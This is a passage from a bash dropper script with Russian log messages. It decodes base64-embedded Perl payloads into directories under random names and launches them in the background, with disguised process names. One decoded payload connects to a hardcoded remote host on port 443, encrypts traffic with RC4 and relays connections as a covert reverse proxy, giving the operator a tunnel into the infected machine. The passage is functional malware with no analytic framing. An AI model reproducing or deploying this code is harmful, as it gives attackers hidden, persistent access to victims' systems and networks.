ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #34 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #34 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 35 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 